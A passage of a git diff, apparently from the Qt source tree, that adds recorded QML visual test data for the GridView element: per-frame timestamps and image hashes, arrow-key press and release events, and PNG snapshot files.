+ modifiers: 536870912
+ text: "1e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9392
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9408
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9424
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9440
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9456
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9472
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9488
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9504
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9520
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9536
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9552
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9568
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9584
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9600
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9616
+ image: "gridview.10.png"
+ }
+ Frame {
+ msec: 9632
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9648
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9664
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9680
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9696
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9712
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9728
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9744
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9760
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 9776
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9792
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9808
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9824
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+ Frame {
+ msec: 9840
+ hash: "02c632713d0dc64bff9d8e58f745df95"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png
new file mode 100644
index 00000000..27e07834
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png
new file mode 100644
index 00000000..27e07834
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png
new file mode 100644
index 00000000..b0486e59
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png
new file mode 100644
index 00000000..b0348ab4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png
new file mode 100644
index 00000000..c3113e97
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png
new file mode 100644
index 00000000..725d4e9b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png
new file mode 100644
index 00000000..cc6d8d63
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png
new file mode 100644
index 00000000..ccf9f5ff
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png
new file mode 100644
index 00000000..2f7f4758
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png
new file mode 100644
index 00000000..fff1b40c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png
new file mode 100644
index 00000000..27e07834
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml
new file mode 100644
index 00000000..2c43f7d3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview2.qml
@@ -0,0 +1,2479 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "gridview2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 48
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 64
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 80
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 96
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 112
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 128
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 144
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 160
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 176
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 192
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 208
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 224
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 240
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 256
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 272
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 288
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 304
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 320
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 336
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 352
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 368
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 384
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 400
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 416
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 432
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 448
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 464
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 480
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 496
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 512
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 528
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 544
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 560
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 576
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 592
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 608
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 624
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 640
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 656
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 672
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 688
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 704
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 720
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 736
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 752
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 768
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 784
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 800
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 816
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 832
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 848
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 864
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 880
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 896
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 912
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 928
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 944
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 960
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 976
+ image: "gridview2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1008
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1024
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1040
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1056
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1072
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1088
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1104
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1120
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1136
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1152
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1168
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1184
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1200
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1216
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1232
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1248
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1264
+ hash: "33d81c39d16c6a326012499796e50e03"
+ }
+ Frame {
+ msec: 1280
+ hash: "4ffd56d59c14ba676393686d753951d7"
+ }
+ Frame {
+ msec: 1296
+ hash: "e2f7702ed749330b2f027aa73967a4cf"
+ }
+ Frame {
+ msec: 1312
+ hash: "3f4dcee547e925db9b3da1fa08bab3c9"
+ }
+ Frame {
+ msec: 1328
+ hash: "12b0bf8abbb9b6a0597eccebe5322551"
+ }
+ Frame {
+ msec: 1344
+ hash: "23da2f9a800b805ce7b77ff08218907d"
+ }
+ Frame {
+ msec: 1360
+ hash: "9c039c94a4202b99bf913891bdcb3698"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1376
+ hash: "dd7c95ca98c4f37837c2ff7f03243fc3"
+ }
+ Frame {
+ msec: 1392
+ hash: "6f31f7af4e68ab0eab101e7ae840b4b6"
+ }
+ Frame {
+ msec: 1408
+ hash: "29943a44b9830bb64b3e5a3b6abd8c42"
+ }
+ Frame {
+ msec: 1424
+ hash: "93d37221e8e022c84e35c7bd44b0644e"
+ }
+ Frame {
+ msec: 1440
+ hash: "9ce3cd471dba7fe94de4e9ad321803b2"
+ }
+ Frame {
+ msec: 1456
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1472
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1488
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1504
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1520
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1536
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1552
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1568
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1584
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1600
+ hash: "0d30916c7e05ff8609af5894f47a89bb"
+ }
+ Frame {
+ msec: 1616
+ hash: "6775c78beca0f078c5f2c57370de1946"
+ }
+ Frame {
+ msec: 1632
+ hash: "898709f3871e13825baf48861930f26c"
+ }
+ Frame {
+ msec: 1648
+ hash: "c1a568599592a3f455ad550c2e4878a8"
+ }
+ Frame {
+ msec: 1664
+ hash: "a80d8cbf0c6fe8383badbb2badb361ad"
+ }
+ Frame {
+ msec: 1680
+ hash: "310eaf71fe8d3807606e58a666c65ccd"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1696
+ hash: "0f317f50b0d2a4c5daf819431527416e"
+ }
+ Frame {
+ msec: 1712
+ hash: "d251b64b794902fe2c5da3cee43ff82d"
+ }
+ Frame {
+ msec: 1728
+ hash: "757adc256e1b5d739c29ee82bdacfa16"
+ }
+ Frame {
+ msec: 1744
+ hash: "1c20e69e033a5fa4825fd46f51d1e348"
+ }
+ Frame {
+ msec: 1760
+ hash: "03cbcd361ec24925222802c8ece99793"
+ }
+ Frame {
+ msec: 1776
+ hash: "dffaa2dd4d6dd89a1b26d5db38906059"
+ }
+ Frame {
+ msec: 1792
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1808
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1824
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1840
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1856
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1872
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1888
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1904
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1920
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1936
+ image: "gridview2.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1968
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 1984
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 2000
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 2016
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "77d5193bc5f53fe5cb98a236c55f841e"
+ }
+ Frame {
+ msec: 2048
+ hash: "1f046afe50ee5e1fc07e89a40528351c"
+ }
+ Frame {
+ msec: 2064
+ hash: "132fbaa8fc2890d48f1916a25cb09887"
+ }
+ Frame {
+ msec: 2080
+ hash: "e904c892dc27ff1700009470f234ce0d"
+ }
+ Frame {
+ msec: 2096
+ hash: "0968397c7a209059cd466c61ac891081"
+ }
+ Frame {
+ msec: 2112
+ hash: "d5b4fc1b568a4a1b63a91b422272c704"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "a980a2e7bd10328fbd4400e799aa7c24"
+ }
+ Frame {
+ msec: 2144
+ hash: "b74be5349822d52ced201d7f34a96122"
+ }
+ Frame {
+ msec: 2160
+ hash: "f7c6dbcd7d55b3230af463098f346bd8"
+ }
+ Frame {
+ msec: 2176
+ hash: "393358a0ee7636a535f14f0dc9c3d609"
+ }
+ Frame {
+ msec: 2192
+ hash: "cad337b87b629b1eee78407aacfd279e"
+ }
+ Frame {
+ msec: 2208
+ hash: "d90b762e62867e3ff928160bed85d2ff"
+ }
+ Frame {
+ msec: 2224
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2240
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2256
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2272
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2288
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2304
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2320
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2336
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2352
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2368
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2384
+ hash: "520445d8619ad9bdde0db0e61f17567c"
+ }
+ Frame {
+ msec: 2400
+ hash: "5c9801ffdb07be53524cf0a4f8709ee4"
+ }
+ Frame {
+ msec: 2416
+ hash: "adef25d77f816e40ec02886187f456bf"
+ }
+ Frame {
+ msec: 2432
+ hash: "56290066fa32054bb7e1669bbda3f3bb"
+ }
+ Frame {
+ msec: 2448
+ hash: "101b94bcf3f536bd64f0ac50f21cd5de"
+ }
+ Frame {
+ msec: 2464
+ hash: "edaee946a2e25fed6de9acfda0d44a14"
+ }
+ Frame {
+ msec: 2480
+ hash: "b170b60632b17595713dd911afc46fcc"
+ }
+ Frame {
+ msec: 2496
+ hash: "57550914cd214025c6b1f3dfa446417f"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2512
+ hash: "3fd7252f5e61e3c348219a54fd5b95d9"
+ }
+ Frame {
+ msec: 2528
+ hash: "c6c27dd386e40bc0a02ad8104301d391"
+ }
+ Frame {
+ msec: 2544
+ hash: "dd476c04d3612f940e1959030ee8e264"
+ }
+ Frame {
+ msec: 2560
+ hash: "f2f8d9bb8a1865237398421f6a6d89dc"
+ }
+ Frame {
+ msec: 2576
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2592
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2608
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2624
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2640
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2656
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2672
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2688
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2704
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2720
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2736
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 536870912
+ text: "1c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2752
+ hash: "d4a48ee79a18cc5c0bc123fbb40c3efd"
+ }
+ Frame {
+ msec: 2768
+ hash: "f13bc957329adad9dcb1ce0c408eeaaf"
+ }
+ Frame {
+ msec: 2784
+ hash: "9a676805f3474f924cbe7ea21ee9dcab"
+ }
+ Frame {
+ msec: 2800
+ hash: "f0161b0d27757137bcb7fd3e6db2280c"
+ }
+ Frame {
+ msec: 2816
+ hash: "c7034a0e8956c9f483c128a934d68fa7"
+ }
+ Frame {
+ msec: 2832
+ hash: "19664de1a738458810896959ba4087ad"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 536870912
+ text: "1c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2848
+ hash: "c5d5ff1884dd0ede23097530c249678c"
+ }
+ Frame {
+ msec: 2864
+ hash: "131ae4a26ad06bbef105668d30e154aa"
+ }
+ Frame {
+ msec: 2880
+ hash: "5d6ba09a5038e00007af0fa3f89b67b8"
+ }
+ Frame {
+ msec: 2896
+ image: "gridview2.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "9d5ee2458abc5dfd56abfd42c906270f"
+ }
+ Frame {
+ msec: 2928
+ hash: "823b5d63768f5a18e795d5ed61f4dec8"
+ }
+ Frame {
+ msec: 2944
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 2960
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 2976
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 2992
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 3008
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 3024
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3040
+ hash: "1b7ebcf0e3d68e429cb04966120985e5"
+ }
+ Frame {
+ msec: 3056
+ hash: "1a8a32127c1b699bc282b0c209117a00"
+ }
+ Frame {
+ msec: 3072
+ hash: "2f5f2ab12410c070a7c05a1674e273fe"
+ }
+ Frame {
+ msec: 3088
+ hash: "afe7c2cd74cc90d67e8c068eaf5988eb"
+ }
+ Frame {
+ msec: 3104
+ hash: "e063d9eb45dc42b3f8b66937b7b4c19a"
+ }
+ Frame {
+ msec: 3120
+ hash: "75a620b42caabf5b1576041dbd4c2808"
+ }
+ Frame {
+ msec: 3136
+ hash: "2e2b9db4d2f19035c7c29489332b2550"
+ }
+ Frame {
+ msec: 3152
+ hash: "32370cba80db8eaf1f5cd9b73d3472ed"
+ }
+ Frame {
+ msec: 3168
+ hash: "3a79c47a8eb8bb79316e61a7eed58e57"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 536870912
+ text: "1f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3184
+ hash: "c84e47182ef6ebec61163f9b42d03c64"
+ }
+ Frame {
+ msec: 3200
+ hash: "6a0a83a39e6ab82b5437d46468e4776d"
+ }
+ Frame {
+ msec: 3216
+ hash: "945929656c1d27bcba51ce908e72a770"
+ }
+ Frame {
+ msec: 3232
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3248
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3264
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3280
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3296
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3312
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3328
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3344
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3360
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3376
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3392
+ hash: "506283ccfe9670633ce0bf60b437b37b"
+ }
+ Frame {
+ msec: 3408
+ hash: "7d12bcac0fcaaff7467c444ab89f1e06"
+ }
+ Frame {
+ msec: 3424
+ hash: "2f4538eec0c704af25b0a73d5a8dded4"
+ }
+ Frame {
+ msec: 3440
+ hash: "4722cbfba5de7e4f7b3cee10bd0f75b5"
+ }
+ Frame {
+ msec: 3456
+ hash: "3a6df7e6d771c6edc5218ad9a4bf6ab0"
+ }
+ Frame {
+ msec: 3472
+ hash: "09219f55fae47a0afed887ebf68a36bc"
+ }
+ Frame {
+ msec: 3488
+ hash: "c04c0010761f572c5b16963699c70135"
+ }
+ Frame {
+ msec: 3504
+ hash: "52d59ffff0f2109f9a584f3582158798"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 536870912
+ text: "1d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3520
+ hash: "9b1d58189c56205ba8963671bfb86742"
+ }
+ Frame {
+ msec: 3536
+ hash: "7de84895e12919ffe935b23372db95db"
+ }
+ Frame {
+ msec: 3552
+ hash: "d9c5b4c2a7831c216fe2266fe26306b0"
+ }
+ Frame {
+ msec: 3568
+ hash: "1c2bc039c48e7e9da07165f405a6f207"
+ }
+ Frame {
+ msec: 3584
